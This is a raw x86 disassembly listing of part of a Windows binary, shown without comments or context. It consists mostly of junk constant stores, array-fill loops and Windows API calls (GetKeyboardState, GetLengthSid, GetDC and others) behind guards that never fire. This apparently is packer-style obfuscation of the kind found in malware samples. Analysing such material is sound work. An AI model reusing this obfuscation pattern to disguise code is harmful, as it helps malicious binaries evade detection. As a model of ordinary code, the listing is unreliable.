jns 0x1003145c
push 2
xor eax, eax
or ecx, ecx
pop esi
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x40], 0xfff8
mov dword [ebp - 0x14], 0xcc013cef
mov dword [ebp - 0x48], 0x4a2c6eb8
mov dword [ebp - 0x44], 0xfffffff9
mov dword [ebp - 0x14], eax
jmp 0x1003155a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4fc], 0xcafa32fd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031549
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfa
jl 0x10031589
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], 0x593f6a08
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100315cc
mov eax, edi
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100315f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe30], 0x8bbca631
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100315df
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10031607
inc dword [ebp - 0x34]
dec dword [ebp - 0x20]
jns 0x100315ff
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003161c
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], 0x142c78ef
mov dword [ebp - 0x24], ecx
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], 0x5015e0c0
mov dword [ebp - 0x34], 0x43c7d757
mov dword [ebp - 0x48], 0xeb999c82
mov dword [ebp - 0x40], 0x50d5d742
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031664
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x274], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031650
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10031684
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x598], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003166c
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1003169a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa98], 0x55e3164c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031689
mov eax, dword [ebp - 0x274]
xor eax, eax
cmp dword [ebp - 0x274], eax
jne 0x10031744
mov dword [ebp - 0x34], 0x9f9034e1
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0xfad0d727
setne cl
sub ecx, 7
jne 0x100316d5
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x100316d7
mov ecx, edi
mov eax, dword [ebp - 0x270]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x24]
setne cl
sub edx, ecx
neg edx
sbb edx, edx
add eax, 7
lea ecx, [edx + 1]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x274]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x20], edx
jne 0x1003173e
mov eax, dword [ebp - 0x274]
mov eax, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x274]
cmp ecx, eax
mov eax, dword [ebp - 0x274]
setne dl
add eax, edx
xor edx, edx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
mov dword [ebp - 0x598], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x274]
sub ecx, eax
mov eax, dword [ebp - 0xa98]
neg ecx
sbb ecx, ecx
inc ecx
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100317c7
push 0xf4
push 0x1416
push 0x1c74
call dword [sym.imp.KERNEL32.dll_MulDiv]
xor eax, eax
mov dword [ebp - 0x30], ebx
push 4
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100317e9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x428], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100317d5
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100317ff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x704], 0x39956a21
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100317ee
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
je 0x1003197e
mov dword [ebp - 0x24], 0xd2a7
or eax, 0xffffffff
mov dword [ebp - 0x54], 7
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jg 0x100318ed
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x24]
test eax, eax
jne 0x1003186f
cmp dword [ebp - 0x424], eax
jne 0x1003186f
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x24], eax
jne 0x10031875
mov esi, eax
jmp 0x10031877
mov dword [ebp - 0x700], edi
mov esi, edi
mov eax, dword [ebp - 0x30]
xor edx, edx
push 3
mov eax, dword [ebp + eax*4 - 0x428]
cmp eax, edi
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x30]
sete cl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp + eax*4 - 0x428]
mov eax, dword [ebp - 0x30]
setle bl
xor edx, edx
cmp ecx, eax
sete dl
xor eax, eax
cmp edx, ebx
pop ebx
setle al
sub eax, dword [ebp - 0x424]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x428]
mov eax, dword [ebp - 0x30]
add ecx, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x428], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x1003184a
push 2
xor eax, eax
pop esi
mov dword [ebp - 0x20], 9
cmp dword [ebp - 0x20], eax
je 0x1003190b
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x428]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x700], edi
jne 0x1003193a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031a6e
push 0x1b82
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
jmp 0x10031a6c
mov dword [ebp - 0x44], 0x840ef1f3
mov dword [ebp - 0x44], 0x9ee19476
mov dword [ebp - 0x44], 0xb6274291
mov dword [ebp - 0x14], eax
jmp 0x10031965
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf48], 0x8870b378
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031954
mov dword [ebp - 0x700], edi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x704], eax
jmp 0x10031a6c
mov eax, 0x258d
mov dword [ebp - 0x6cc], eax
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], eax
mov dword [ebp - 0x6c0], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x48], 0x560f218d
inc dword [ebp - 0x6c4]
mov eax, dword [ebp - 0x6c4]
jne 0x100319c6
mov eax, dword [ebp - 0x6c4]
cmp eax, dword [ebp - 0x30]
je 0x100319c6
xor eax, eax
mov ecx, eax
jmp 0x100319c8
mov ecx, edi
mov eax, dword [ebp - 0x30]
xor ebx, ebx
cmp eax, 0x3db2
setle bl
cmp ecx, edi
mov dword [ebp - 0x704], ebx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setg cl
add eax, ebx
imul ecx, eax
add ecx, 0x3cff8552
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x420]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x30], 0xffffffec
cmp dword [ebp - 0x30], 0xa
jle 0x10031a6c
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031a63
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
jg 0x10031a51
xor eax, eax
mov dword [ebp - 0x358], edi
mov dword [ebp - 0x354], edi
mov dword [ebp - 0x350], edi
mov dword [ebp - 0x34c], edi
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x34], 0x3da5
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10031abb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x168], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031aa3
xor eax, eax
mov dword [ebp - 0x358], edi
cmp dword [ebp - 0x358], eax
jl 0x10031bf4
or ecx, 0xffffffff
mov dword [ebp - 0x28], 0xd3b3152c
mov dword [ebp - 0x48], 0x8df0442e
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], eax
jl 0x10031bd8
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], eax
jmp 0x10031b06
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa70], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10031af5
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
imul edx, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x358]
mov dword [ebp + eax*4 - 0x168], edx
mov eax, dword [ebp - 0x358]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x40], edi
cmp dword [ebp - 0x34], eax
jne 0x10031b7b
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x168]
mov eax, dword [ebp - 0xa6c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
xor eax, eax
cmp dword [ebp - 0x48], ecx
jg 0x10031b7d
cmp dword [ebp - 0x164], eax
je 0x10031b7d
mov eax, edi
mov dword [ebp - 0x20], eax
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa70]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0x168]
cmp edx, eax
mov eax, dword [ebp - 0x358]
sete cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x168]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
sete dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x168]
cmp eax, edx
pop eax
setle cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0x28]
jns 0x10031aed
or ecx, 0xffffffff
mov eax, dword [ebp - 0x358]
push 0
mov eax, dword [ebp + eax*4 - 0x168]
dec dword [ebp - 0x358]
pop eax
jns 0x10031ad0
mov dword [ebp - 0x2c], 0xbe8e56f9
mov dword [ebp - 0x2c], 0xbac64a68
mov dword [ebp - 0x2c], 0xfffffff5
cmp dword [ebp - 0x2c], 0xffffffe3
jg 0x10031d84
mov edi, 0xfff7
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0xc0faab39
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10031c40
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa80], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10031c2b
xor eax, eax
mov dword [ebp - 0x24], 3
jmp 0x10031d6a
mov dword [ebp - 0x3c], 0x43c4ab27
mov dword [ebp - 0x40], 0x6d9935ff
mov dword [ebp - 0x3c], eax
jmp 0x10031d5d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10031c84
cmp dword [ebp - 0x3c], 0x19
jle 0x10031c62
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe9
jg 0x10031c4c
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe3
jle 0x10031c18
xor edi, edi
inc edi
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031db4
push eax
push 0x817
push 0x1268
call esi
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
xor eax, eax
jmp 0x10031dba
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10031ddd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6d4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10031dc5
xor eax, eax
mov dword [ebp - 0x14], 0xfffffff6
mov dword [ebp - 0x34], 0x44401d1b
mov dword [ebp - 0x20], 0xece3051e
mov dword [ebp - 0x40], 0x99e885dc
mov dword [ebp - 0x14], eax
jmp 0x10031e0f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x610], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10031dfe
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10031e60